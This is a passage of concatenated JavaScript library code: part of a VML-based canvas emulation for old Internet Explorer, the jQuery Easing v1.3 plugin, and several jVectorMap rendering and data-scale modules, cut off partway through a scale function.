' path="'); var newSeq = false; var min = {x: null, y: null}; var max = {x: null, y: null}; for (var i = 0; i < this.currentPath_.length; i++) { var p = this.currentPath_[i]; var c; switch (p.type) { case 'moveTo': c = p; lineStr.push(' m ', mr(p.x), ',', mr(p.y)); break; case 'lineTo': lineStr.push(' l ', mr(p.x), ',', mr(p.y)); break; case 'close': lineStr.push(' x '); p = null; break; case 'bezierCurveTo': lineStr.push(' c ', mr(p.cp1x), ',', mr(p.cp1y), ',', mr(p.cp2x), ',', mr(p.cp2y), ',', mr(p.x), ',', mr(p.y)); break; case 'at': case 'wa': lineStr.push(' ', p.type, ' ', mr(p.x - this.arcScaleX_ * p.radius), ',', mr(p.y - this.arcScaleY_ * p.radius), ' ', mr(p.x + this.arcScaleX_ * p.radius), ',', mr(p.y + this.arcScaleY_ * p.radius), ' ', mr(p.xStart), ',', mr(p.yStart), ' ', mr(p.xEnd), ',', mr(p.yEnd)); break; } // TODO: Following is broken for curves due to // move to proper paths. // Figure out dimensions so we can do gradient fills // properly if (p) { if (min.x == null || p.x < min.x) { min.x = p.x; } if (max.x == null || p.x > max.x) { max.x = p.x; } if (min.y == null || p.y < min.y) { min.y = p.y; } if (max.y == null || p.y > max.y) { max.y = p.y; } } } lineStr.push(' ">'); if (!aFill) { appendStroke(this, lineStr); } else { appendFill(this, lineStr, min, max); } lineStr.push('</g_vml_:shape>'); this.element_.insertAdjacentHTML('beforeEnd', lineStr.join('')); }; function appendStroke(ctx, lineStr) { var a = processStyle(ctx.strokeStyle); var color = a.color; var opacity = a.alpha * ctx.globalAlpha; var lineWidth = ctx.lineScale_ * ctx.lineWidth; // VML cannot correctly render a line if the width is less than 1px. // In that case, we dilute the color to make the line look thinner. if (lineWidth < 1) { opacity *= lineWidth; } lineStr.push( '<g_vml_:stroke', ' opacity="', opacity, '"', ' joinstyle="', ctx.lineJoin, '"', ' miterlimit="', ctx.miterLimit, '"', ' endcap="', processLineCap(ctx.lineCap), '"', ' weight="', lineWidth, 'px"', ' color="', color, '" />' ); } function appendFill(ctx, lineStr, min, max) { var fillStyle = ctx.fillStyle; var arcScaleX = ctx.arcScaleX_; var arcScaleY = ctx.arcScaleY_; var width = max.x - min.x; var height = max.y - min.y; if (fillStyle instanceof CanvasGradient_) { // TODO: Gradients transformed with the transformation matrix. var angle = 0; var focus = {x: 0, y: 0}; // additional offset var shift = 0; // scale factor for offset var expansion = 1; if (fillStyle.type_ == 'gradient') { var x0 = fillStyle.x0_ / arcScaleX; var y0 = fillStyle.y0_ / arcScaleY; var x1 = fillStyle.x1_ / arcScaleX; var y1 = fillStyle.y1_ / arcScaleY; var p0 = getCoords(ctx, x0, y0); var p1 = getCoords(ctx, x1, y1); var dx = p1.x - p0.x; var dy = p1.y - p0.y; angle = Math.atan2(dx, dy) * 180 / Math.PI; // The angle should be a non-negative number. if (angle < 0) { angle += 360; } // Very small angles produce an unexpected result because they are // converted to a scientific notation string. if (angle < 1e-6) { angle = 0; } } else { var p0 = getCoords(ctx, fillStyle.x0_, fillStyle.y0_); focus = { x: (p0.x - min.x) / width, y: (p0.y - min.y) / height }; width /= arcScaleX * Z; height /= arcScaleY * Z; var dimension = m.max(width, height); shift = 2 * fillStyle.r0_ / dimension; expansion = 2 * fillStyle.r1_ / dimension - shift; } // We need to sort the color stops in ascending order by offset, // otherwise IE won't interpret it correctly. var stops = fillStyle.colors_; stops.sort(function(cs1, cs2) { return cs1.offset - cs2.offset; }); var length = stops.length; var color1 = stops[0].color; var color2 = stops[length - 1].color; var opacity1 = stops[0].alpha * ctx.globalAlpha; var opacity2 = stops[length - 1].alpha * ctx.globalAlpha; var colors = []; for (var i = 0; i < length; i++) { var stop = stops[i]; colors.push(stop.offset * expansion + shift + ' ' + stop.color); } // When colors attribute is used, the meanings of opacity and o:opacity2 // are reversed. lineStr.push('<g_vml_:fill type="', fillStyle.type_, '"', ' method="none" focus="100%"', ' color="', color1, '"', ' color2="', color2, '"', ' colors="', colors.join(','), '"', ' opacity="', opacity2, '"', ' g_o_:opacity2="', opacity1, '"', ' angle="', angle, '"', ' focusposition="', focus.x, ',', focus.y, '" />'); } else if (fillStyle instanceof CanvasPattern_) { if (width && height) { var deltaLeft = -min.x; var deltaTop = -min.y; lineStr.push('<g_vml_:fill', ' position="', deltaLeft / width * arcScaleX * arcScaleX, ',', deltaTop / height * arcScaleY * arcScaleY, '"', ' type="tile"', // TODO: Figure out the correct size to fit the scale. //' size="', w, 'px ', h, 'px"', ' src="', fillStyle.src_, '" />'); } } else { var a = processStyle(ctx.fillStyle); var color = a.color; var opacity = a.alpha * ctx.globalAlpha; lineStr.push('<g_vml_:fill color="', color, '" opacity="', opacity, '" />'); } } contextPrototype.fill = function() { this.stroke(true); }; contextPrototype.closePath = function() { this.currentPath_.push({type: 'close'}); }; function getCoords(ctx, aX, aY) { var m = ctx.m_; return { x: Z * (aX * m[0][0] + aY * m[1][0] + m[2][0]) - Z2, y: Z * (aX * m[0][1] + aY * m[1][1] + m[2][1]) - Z2 }; }; contextPrototype.save = function() { var o = {}; copyState(this, o); this.aStack_.push(o); this.mStack_.push(this.m_); this.m_ = matrixMultiply(createMatrixIdentity(), this.m_); }; contextPrototype.restore = function() { if (this.aStack_.length) { copyState(this.aStack_.pop(), this); this.m_ = this.mStack_.pop(); } }; function matrixIsFinite(m) { return isFinite(m[0][0]) && isFinite(m[0][1]) && isFinite(m[1][0]) && isFinite(m[1][1]) && isFinite(m[2][0]) && isFinite(m[2][1]); } function setM(ctx, m, updateLineScale) { if (!matrixIsFinite(m)) { return; } ctx.m_ = m; if (updateLineScale) { // Get the line scale. // Determinant of this.m_ means how much the area is enlarged by the // transformation. So its square root can be used as a scale factor // for width. var det = m[0][0] * m[1][1] - m[0][1] * m[1][0]; ctx.lineScale_ = sqrt(abs(det)); } } contextPrototype.translate = function(aX, aY) { var m1 = [ [1, 0, 0], [0, 1, 0], [aX, aY, 1] ]; setM(this, matrixMultiply(m1, this.m_), false); }; contextPrototype.rotate = function(aRot) { var c = mc(aRot); var s = ms(aRot); var m1 = [ [c, s, 0], [-s, c, 0], [0, 0, 1] ]; setM(this, matrixMultiply(m1, this.m_), false); }; contextPrototype.scale = function(aX, aY) { this.arcScaleX_ *= aX; this.arcScaleY_ *= aY; var m1 = [ [aX, 0, 0], [0, aY, 0], [0, 0, 1] ]; setM(this, matrixMultiply(m1, this.m_), true); }; contextPrototype.transform = function(m11, m12, m21, m22, dx, dy) { var m1 = [ [m11, m12, 0], [m21, m22, 0], [dx, dy, 1] ]; setM(this, matrixMultiply(m1, this.m_), true); }; contextPrototype.setTransform = function(m11, m12, m21, m22, dx, dy) { var m = [ [m11, m12, 0], [m21, m22, 0], [dx, dy, 1] ]; setM(this, m, true); }; /** * The text drawing function. * The maxWidth argument isn't taken in account, since no browser supports * it yet. */ contextPrototype.drawText_ = function(text, x, y, maxWidth, stroke) { var m = this.m_, delta = 1000, left = 0, right = delta, offset = {x: 0, y: 0}, lineStr = []; var fontStyle = getComputedStyle(processFontStyle(this.font), this.element_); var fontStyleString = buildStyle(fontStyle); var elementStyle = this.element_.currentStyle; var textAlign = this.textAlign.toLowerCase(); switch (textAlign) { case 'left': case 'center': case 'right': break; case 'end': textAlign = elementStyle.direction == 'ltr' ? 'right' : 'left'; break; case 'start': textAlign = elementStyle.direction == 'rtl' ? 'right' : 'left'; break; default: textAlign = 'left'; } // 1.75 is an arbitrary number, as there is no info about the text baseline switch (this.textBaseline) { case 'hanging': case 'top': offset.y = fontStyle.size / 1.75; break; case 'middle': break; default: case null: case 'alphabetic': case 'ideographic': case 'bottom': offset.y = -fontStyle.size / 2.25; break; } switch(textAlign) { case 'right': left = delta; right = 0.05; break; case 'center': left = right = delta / 2; break; } var d = getCoords(this, x + offset.x, y + offset.y); lineStr.push('<g_vml_:line from="', -left ,' 0" to="', right ,' 0.05" ', ' coordsize="100 100" coordorigin="0 0"', ' filled="', !stroke, '" stroked="', !!stroke, '" style="position:absolute;width:1px;height:1px;">'); if (stroke) { appendStroke(this, lineStr); } else { // TODO: Fix the min and max params. appendFill(this, lineStr, {x: -left, y: 0}, {x: right, y: fontStyle.size}); } var skewM = m[0][0].toFixed(3) + ',' + m[1][0].toFixed(3) + ',' + m[0][1].toFixed(3) + ',' + m[1][1].toFixed(3) + ',0,0'; var skewOffset = mr(d.x / Z) + ',' + mr(d.y / Z); lineStr.push('<g_vml_:skew on="t" matrix="', skewM ,'" ', ' offset="', skewOffset, '" origin="', left ,' 0" />', '<g_vml_:path textpathok="true" />', '<g_vml_:textpath on="true" string="', encodeHtmlAttribute(text), '" style="v-text-align:', textAlign, ';font:', encodeHtmlAttribute(fontStyleString), '" /></g_vml_:line>'); this.element_.insertAdjacentHTML('beforeEnd', lineStr.join('')); }; contextPrototype.fillText = function(text, x, y, maxWidth) { this.drawText_(text, x, y, maxWidth, false); }; contextPrototype.strokeText = function(text, x, y, maxWidth) { this.drawText_(text, x, y, maxWidth, true); }; contextPrototype.measureText = function(text) { if (!this.textMeasureEl_) { var s = '<span style="position:absolute;' + 'top:-20000px;left:0;padding:0;margin:0;border:none;' + 'white-space:pre;"></span>'; this.element_.insertAdjacentHTML('beforeEnd', s); this.textMeasureEl_ = this.element_.lastChild; } var doc = this.element_.ownerDocument; this.textMeasureEl_.innerHTML = ''; this.textMeasureEl_.style.font = this.font; // Don't use innerHTML or innerText because they allow markup/whitespace. this.textMeasureEl_.appendChild(doc.createTextNode(text)); return {width: this.textMeasureEl_.offsetWidth}; }; /******** STUBS ********/ contextPrototype.clip = function() { // TODO: Implement }; contextPrototype.arcTo = function() { // TODO: Implement }; contextPrototype.createPattern = function(image, repetition) { return new CanvasPattern_(image, repetition); }; // Gradient / Pattern Stubs function CanvasGradient_(aType) { this.type_ = aType; this.x0_ = 0; this.y0_ = 0; this.r0_ = 0; this.x1_ = 0; this.y1_ = 0; this.r1_ = 0; this.colors_ = []; } CanvasGradient_.prototype.addColorStop = function(aOffset, aColor) { aColor = processStyle(aColor); this.colors_.push({offset: aOffset, color: aColor.color, alpha: aColor.alpha}); }; function CanvasPattern_(image, repetition) { assertImageIsValid(image); switch (repetition) { case 'repeat': case null: case '': this.repetition_ = 'repeat'; break case 'repeat-x': case 'repeat-y': case 'no-repeat': this.repetition_ = repetition; break; default: throwException('SYNTAX_ERR'); } this.src_ = image.src; this.width_ = image.width; this.height_ = image.height; } function throwException(s) { throw new DOMException_(s); } function assertImageIsValid(img) { if (!img || img.nodeType != 1 || img.tagName != 'IMG') { throwException('TYPE_MISMATCH_ERR'); } if (img.readyState != 'complete') { throwException('INVALID_STATE_ERR'); } } function DOMException_(s) { this.code = this[s]; this.message = s +': DOM Exception ' + this.code; } var p = DOMException_.prototype = new Error; p.INDEX_SIZE_ERR = 1; p.DOMSTRING_SIZE_ERR = 2; p.HIERARCHY_REQUEST_ERR = 3; p.WRONG_DOCUMENT_ERR = 4; p.INVALID_CHARACTER_ERR = 5; p.NO_DATA_ALLOWED_ERR = 6; p.NO_MODIFICATION_ALLOWED_ERR = 7; p.NOT_FOUND_ERR = 8; p.NOT_SUPPORTED_ERR = 9; p.INUSE_ATTRIBUTE_ERR = 10; p.INVALID_STATE_ERR = 11; p.SYNTAX_ERR = 12; p.INVALID_MODIFICATION_ERR = 13; p.NAMESPACE_ERR = 14; p.INVALID_ACCESS_ERR = 15; p.VALIDATION_ERR = 16; p.TYPE_MISMATCH_ERR = 17; // set up externs G_vmlCanvasManager = G_vmlCanvasManager_; CanvasRenderingContext2D = CanvasRenderingContext2D_; CanvasGradient = CanvasGradient_; CanvasPattern = CanvasPattern_; DOMException = DOMException_; })(); } // if
JavaScript
/* * jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/ * * Uses the built in easing capabilities added In jQuery 1.1 * to offer multiple easing options * * TERMS OF USE - jQuery Easing * * Open source under the BSD License. * * Copyright © 2008 George McGinley Smith * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * Neither the name of the author nor the names of contributors may be used to endorse * or promote products derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. * */ // t: current time, b: begInnIng value, c: change In value, d: duration jQuery.easing['jswing'] = jQuery.easing['swing']; jQuery.extend( jQuery.easing, { def: 'easeOutQuad', swing: function (x, t, b, c, d) { //alert(jQuery.easing.default); return jQuery.easing[jQuery.easing.def](x, t, b, c, d); }, easeInQuad: function (x, t, b, c, d) { return c*(t/=d)*t + b; }, easeOutQuad: function (x, t, b, c, d) { return -c *(t/=d)*(t-2) + b; }, easeInOutQuad: function (x, t, b, c, d) { if ((t/=d/2) < 1) return c/2*t*t + b; return -c/2 * ((--t)*(t-2) - 1) + b; }, easeInCubic: function (x, t, b, c, d) { return c*(t/=d)*t*t + b; }, easeOutCubic: function (x, t, b, c, d) { return c*((t=t/d-1)*t*t + 1) + b; }, easeInOutCubic: function (x, t, b, c, d) { if ((t/=d/2) < 1) return c/2*t*t*t + b; return c/2*((t-=2)*t*t + 2) + b; }, easeInQuart: function (x, t, b, c, d) { return c*(t/=d)*t*t*t + b; }, easeOutQuart: function (x, t, b, c, d) { return -c * ((t=t/d-1)*t*t*t - 1) + b; }, easeInOutQuart: function (x, t, b, c, d) { if ((t/=d/2) < 1) return c/2*t*t*t*t + b; return -c/2 * ((t-=2)*t*t*t - 2) + b; }, easeInQuint: function (x, t, b, c, d) { return c*(t/=d)*t*t*t*t + b; }, easeOutQuint: function (x, t, b, c, d) { return c*((t=t/d-1)*t*t*t*t + 1) + b; }, easeInOutQuint: function (x, t, b, c, d) { if ((t/=d/2) < 1) return c/2*t*t*t*t*t + b; return c/2*((t-=2)*t*t*t*t + 2) + b; }, easeInSine: function (x, t, b, c, d) { return -c * Math.cos(t/d * (Math.PI/2)) + c + b; }, easeOutSine: function (x, t, b, c, d) { return c * Math.sin(t/d * (Math.PI/2)) + b; }, easeInOutSine: function (x, t, b, c, d) { return -c/2 * (Math.cos(Math.PI*t/d) - 1) + b; }, easeInExpo: function (x, t, b, c, d) { return (t==0) ? b : c * Math.pow(2, 10 * (t/d - 1)) + b; }, easeOutExpo: function (x, t, b, c, d) { return (t==d) ? b+c : c * (-Math.pow(2, -10 * t/d) + 1) + b; }, easeInOutExpo: function (x, t, b, c, d) { if (t==0) return b; if (t==d) return b+c; if ((t/=d/2) < 1) return c/2 * Math.pow(2, 10 * (t - 1)) + b; return c/2 * (-Math.pow(2, -10 * --t) + 2) + b; }, easeInCirc: function (x, t, b, c, d) { return -c * (Math.sqrt(1 - (t/=d)*t) - 1) + b; }, easeOutCirc: function (x, t, b, c, d) { return c * Math.sqrt(1 - (t=t/d-1)*t) + b; }, easeInOutCirc: function (x, t, b, c, d) { if ((t/=d/2) < 1) return -c/2 * (Math.sqrt(1 - t*t) - 1) + b; return c/2 * (Math.sqrt(1 - (t-=2)*t) + 1) + b; }, easeInElastic: function (x, t, b, c, d) { var s=1.70158;var p=0;var a=c; if (t==0) return b; if ((t/=d)==1) return b+c; if (!p) p=d*.3; if (a < Math.abs(c)) { a=c; var s=p/4; } else var s = p/(2*Math.PI) * Math.asin (c/a); return -(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b; }, easeOutElastic: function (x, t, b, c, d) { var s=1.70158;var p=0;var a=c; if (t==0) return b; if ((t/=d)==1) return b+c; if (!p) p=d*.3; if (a < Math.abs(c)) { a=c; var s=p/4; } else var s = p/(2*Math.PI) * Math.asin (c/a); return a*Math.pow(2,-10*t) * Math.sin( (t*d-s)*(2*Math.PI)/p ) + c + b; }, easeInOutElastic: function (x, t, b, c, d) { var s=1.70158;var p=0;var a=c; if (t==0) return b; if ((t/=d/2)==2) return b+c; if (!p) p=d*(.3*1.5); if (a < Math.abs(c)) { a=c; var s=p/4; } else var s = p/(2*Math.PI) * Math.asin (c/a); if (t < 1) return -.5*(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b; return a*Math.pow(2,-10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )*.5 + c + b; }, easeInBack: function (x, t, b, c, d, s) { if (s == undefined) s = 1.70158; return c*(t/=d)*t*((s+1)*t - s) + b; }, easeOutBack: function (x, t, b, c, d, s) { if (s == undefined) s = 1.70158; return c*((t=t/d-1)*t*((s+1)*t + s) + 1) + b; }, easeInOutBack: function (x, t, b, c, d, s) { if (s == undefined) s = 1.70158; if ((t/=d/2) < 1) return c/2*(t*t*(((s*=(1.525))+1)*t - s)) + b; return c/2*((t-=2)*t*(((s*=(1.525))+1)*t + s) + 2) + b; }, easeInBounce: function (x, t, b, c, d) { return c - jQuery.easing.easeOutBounce (x, d-t, 0, c, d) + b; }, easeOutBounce: function (x, t, b, c, d) { if ((t/=d) < (1/2.75)) { return c*(7.5625*t*t) + b; } else if (t < (2/2.75)) { return c*(7.5625*(t-=(1.5/2.75))*t + .75) + b; } else if (t < (2.5/2.75)) { return c*(7.5625*(t-=(2.25/2.75))*t + .9375) + b; } else { return c*(7.5625*(t-=(2.625/2.75))*t + .984375) + b; } }, easeInOutBounce: function (x, t, b, c, d) { if (t < d/2) return jQuery.easing.easeInBounce (x, t*2, 0, c, d) * .5 + b; return jQuery.easing.easeOutBounce (x, t*2-d, 0, c, d) * .5 + c*.5 + b; } }); /* * * TERMS OF USE - EASING EQUATIONS * * Open source under the BSD License. * * Copyright © 2001 Robert Penner * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * Neither the name of the author nor the names of contributors may be used to endorse * or promote products derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. * */
JavaScript
jvm.VMLPathElement = function(config, style){ var scale = new jvm.VMLElement('skew'); jvm.VMLPathElement.parentClass.call(this, 'shape', config, style); this.node.coordorigin = "0 0"; scale.node.on = true; scale.node.matrix = '0.01,0,0,0.01,0,0'; scale.node.offset = '0,0'; this.node.appendChild(scale.node); }; jvm.inherits(jvm.VMLPathElement, jvm.VMLShapeElement); jvm.VMLPathElement.prototype.applyAttr = function(attr, value){ if (attr === 'd') { this.node.path = jvm.VMLPathElement.pathSvgToVml(value); } else { jvm.VMLShapeElement.prototype.applyAttr.call(this, attr, value); } }; jvm.VMLPathElement.pathSvgToVml = function(path) { var result = '', cx = 0, cy = 0, ctrlx, ctrly; path = path.replace(/(-?\d+)e(-?\d+)/g, '0'); return path.replace(/([MmLlHhVvCcSs])\s*((?:-?\d*(?:\.\d+)?\s*,?\s*)+)/g, function(segment, letter, coords, index){ coords = coords.replace(/(\d)-/g, '$1,-') .replace(/^\s+/g, '') .replace(/\s+$/g, '') .replace(/\s+/g, ',').split(','); if (!coords[0]) coords.shift(); for (var i=0, l=coords.length; i<l; i++) { coords[i] = Math.round(100*coords[i]); } switch (letter) { case 'm': cx += coords[0]; cy += coords[1]; return 't'+coords.join(','); break; case 'M': cx = coords[0]; cy = coords[1]; return 'm'+coords.join(','); break; case 'l': cx += coords[0]; cy += coords[1]; return 'r'+coords.join(','); break; case 'L': cx = coords[0]; cy = coords[1]; return 'l'+coords.join(','); break; case 'h': cx += coords[0]; return 'r'+coords[0]+',0'; break; case 'H': cx = coords[0]; return 'l'+cx+','+cy; break; case 'v': cy += coords[0]; return 'r0,'+coords[0]; break; case 'V': cy = coords[0]; return 'l'+cx+','+cy; break; case 'c': ctrlx = cx + coords[coords.length-4]; ctrly = cy + coords[coords.length-3]; cx += coords[coords.length-2]; cy += coords[coords.length-1]; return 'v'+coords.join(','); break; case 'C': ctrlx = coords[coords.length-4]; ctrly = coords[coords.length-3]; cx = coords[coords.length-2]; cy = coords[coords.length-1]; return 'c'+coords.join(','); break; case 's': coords.unshift(cy-ctrly); coords.unshift(cx-ctrlx); ctrlx = cx + coords[coords.length-4]; ctrly = cy + coords[coords.length-3]; cx += coords[coords.length-2]; cy += coords[coords.length-1]; return 'v'+coords.join(','); break; case 'S': coords.unshift(cy+cy-ctrly); coords.unshift(cx+cx-ctrlx); ctrlx = coords[coords.length-4]; ctrly = coords[coords.length-3]; cx = coords[coords.length-2]; cy = coords[coords.length-1]; return 'c'+coords.join(','); break; } return ''; }).replace(/z/g, 'e'); };
JavaScript
/** * Creates data series. * @constructor * @param {Object} params Parameters to initialize series with. * @param {Array} params.values The data set to visualize. * @param {String} params.attribute Numberic or color attribute to use for data visualization. This could be: <code>fill</code>, <code>stroke</code>, <code>fill-opacity</code>, <code>stroke-opacity</code> for markers and regions and <code>r</code> (radius) for markers only. * @param {Array} params.scale Values used to map a dimension of data to a visual representation. The first value sets visualization for minimum value from the data set and the last value sets visualization for the maximum value. There also could be intermidiate values. Default value is <code>['#C8EEFF', '#0071A4']</code> * @param {Function|String} params.normalizeFunction The function used to map input values to the provided scale. This parameter could be provided as function or one of the strings: <code>'linear'</code> or <code>'polynomial'</code>, while <code>'linear'</code> is used by default. The function provided takes value from the data set as an input and returns corresponding value from the scale. * @param {Number} params.min Minimum value of the data set. Could be calculated automatically if not provided. * @param {Number} params.min Maximum value of the data set. Could be calculated automatically if not provided. */ jvm.DataSeries = function(params, elements) { var scaleConstructor; params = params || {}; params.attribute = params.attribute || 'fill'; this.elements = elements; this.params = params; if (params.attributes) { this.setAttributes(params.attributes); } if (jvm.$.isArray(params.scale)) { scaleConstructor = (params.attribute === 'fill' || params.attribute === 'stroke') ? jvm.ColorScale : jvm.NumericScale; this.scale = new scaleConstructor(params.scale, params.normalizeFunction, params.min, params.max); } else if (params.scale) { this.scale = new jvm.OrdinalScale(params.scale); } else { this.scale = new jvm.SimpleScale(params.scale); } this.values = params.values || {}; this.setValues(this.values); }; jvm.DataSeries.prototype = { setAttributes: function(key, attr){ var attrs = key, code; if (typeof key == 'string') { if (this.elements[key]) { this.elements[key].setStyle(this.params.attribute, attr); } } else { for (code in attrs) { if (this.elements[code]) { this.elements[code].element.setStyle(this.params.attribute, attrs[code]); } } } }, /** * Set values for the data set. * @param {Object} values Object which maps codes of regions or markers to values. */ setValues: function(values) { var max = Number.MIN_VALUE, min = Number.MAX_VALUE, val, cc, attrs = {}; if (!(this.scale instanceof jvm.OrdinalScale) && !(this.scale instanceof jvm.SimpleScale)) { if (!this.params.min || !this.params.max) { for (cc in values) { val = parseFloat(values[cc]); if (val > max) max = values[cc]; if (val < min) min = val; } if (!this.params.min) { this.scale.setMin(min); } if (!this.params.max) { this.scale.setMax(max); } this.params.min = min; this.params.max = max; } for (cc in values) { val = parseFloat(values[cc]); if (!isNaN(val)) { attrs[cc] = this.scale.getValue(val); } else { attrs[cc] = this.elements[cc].element.style.initial[this.params.attribute]; } } } else { for (cc in values) { if (values[cc]) { attrs[cc] = this.scale.getValue(values[cc]); } else { attrs[cc] = this.elements[cc].element.style.initial[this.params.attribute]; } } } this.setAttributes(attrs); jvm.$.extend(this.values, values); }, clear: function(){ var key, attrs = {}; for (key in this.values) { if (this.elements[key]) { attrs[key] = this.elements[key].element.style.initial[this.params.attribute]; } } this.setAttributes(attrs); this.values = {}; }, /** * Set scale of the data series. * @param {Array} scale Values representing scale. */ setScale: function(scale) { this.scale.setScale(scale); if (this.values) { this.setValues(this.values); } }, /** * Set normalize function of the data series. * @param {Function|String} normilizeFunction. */ setNormalizeFunction: function(f) { this.scale.setNormalizeFunction(f); if (this.values) { this.setValues(this.values); } } };
JavaScript
/** * Implements abstract vector canvas. * @constructor * @param {HTMLElement} container Container to put element to. * @param {Number} width Width of canvas. * @param {Number} height Height of canvas. */ jvm.AbstractCanvasElement = function(container, width, height){ this.container = container; this.setSize(width, height); this.rootElement = new jvm[this.classPrefix+'GroupElement'](); this.node.appendChild( this.rootElement.node ); this.container.appendChild(this.node); } /** * Add element to the certain group inside of the canvas. * @param {HTMLElement} element Element to add to canvas. * @param {HTMLElement} group Group to add element into or into root group if not provided. */ jvm.AbstractCanvasElement.prototype.add = function(element, group){ group = group || this.rootElement; group.add(element); element.canvas = this; } /** * Create path and add it to the canvas. * @param {Object} config Parameters of path to create. * @param {Object} style Styles of the path to create. * @param {HTMLElement} group Group to add path into. */ jvm.AbstractCanvasElement.prototype.addPath = function(config, style, group){ var el = new jvm[this.classPrefix+'PathElement'](config, style); this.add(el, group); return el; }; /** * Create circle and add it to the canvas. * @param {Object} config Parameters of path to create. * @param {Object} style Styles of the path to create. * @param {HTMLElement} group Group to add circle into. */ jvm.AbstractCanvasElement.prototype.addCircle = function(config, style, group){ var el = new jvm[this.classPrefix+'CircleElement'](config, style); this.add(el, group); return el; }; /** * Add group to the another group inside of the canvas. * @param {HTMLElement} group Group to add circle into or root group if not provided. */ jvm.AbstractCanvasElement.prototype.addGroup = function(parentGroup){ var el = new jvm[this.classPrefix+'GroupElement'](); if (parentGroup) { parentGroup.node.appendChild(el.node); } else { this.node.appendChild(el.node); } el.canvas = this; return el; };
JavaScript
jvm.SVGPathElement = function(config, style){ jvm.SVGPathElement.parentClass.call(this, 'path', config, style); this.node.setAttribute('fill-rule', 'evenodd'); } jvm.inherits(jvm.SVGPathElement, jvm.SVGShapeElement);
JavaScript
jvm.SimpleScale = function(scale){ this.scale = scale; }; jvm.SimpleScale.prototype.getValue = function(value){ return value; };
JavaScript
jvm.NumericScale = function(scale, normalizeFunction, minValue, maxValue) { this.scale = []; normalizeFunction = normalizeFunction || 'linear'; if (scale) this.setScale(scale); if (normalizeFunction) this.setNormalizeFunction(normalizeFunction); if (minValue) this.setMin(minValue); if (maxValue) this.setMax(maxValue); }; jvm.NumericScale.prototype = { setMin: function(min) { this.clearMinValue = min; if (typeof this.normalize === 'function') { this.minValue = this.normalize(min); } else { this.minValue = min; } }, setMax: function(max) { this.clearMaxValue = max; if (typeof this.normalize === 'function') { this.maxValue = this.normalize(max); } else { this.maxValue = max; } }, setScale: function(scale) { var i; for (i = 0; i < scale.length; i++) { this.scale[i] = [scale[i]]; } }, setNormalizeFunction: function(f) { if (f === 'polynomial') { this.normalize = function(value) { return Math.pow(value, 0.2); } } else if (f === 'linear') { delete this.normalize; } else { this.normalize = f; } this.setMin(this.clearMinValue); this.setMax(this.clearMaxValue); }, getValue: function(value) { var lengthes = [], fullLength = 0, l, i = 0, c; if (typeof this.normalize === 'function') { value = this.normalize(value); } for (i = 0; i < this.scale.length-1; i++) { l = this.vectorLength(this.vectorSubtract(this.scale[i+1], this.scale[i])); lengthes.push(l); fullLength += l; } c = (this.maxValue - this.minValue) / fullLength; for (i=0; i<lengthes.length; i++) { lengthes[i] *= c; } i = 0; value -= this.minValue; while (value - lengthes[i] >= 0) { value -= lengthes[i]; i++; } if (i == this.scale.length - 1) { value = this.vectorToNum(this.scale[i]) } else { value = ( this.vectorToNum( this.vectorAdd(this.scale[i], this.vectorMult( this.vectorSubtract(this.scale[i+1], this.scale[i]), (value) / (lengthes[i]) ) ) ) ); } return value; }, vectorToNum: function(vector) { var num = 0, i; for (i = 0; i < vector.length; i++) { num += Math.round(vector[i])*Math.pow(256, vector.length-i-1); } return num; }, vectorSubtract: function(vector1, vector2) { var vector = [], i; for (i = 0; i < vector1.length; i++) { vector[i] = vector1[i] - vector2[i]; } return vector; }, vectorAdd: function(vector1, vector2) { var vector = [], i; for (i = 0; i < vector1.length; i++) { vector[i] = vector1[i] + vector2[i]; } return vector; }, vectorMult: function(vector, num) { var result = [], i; for (i = 0; i < 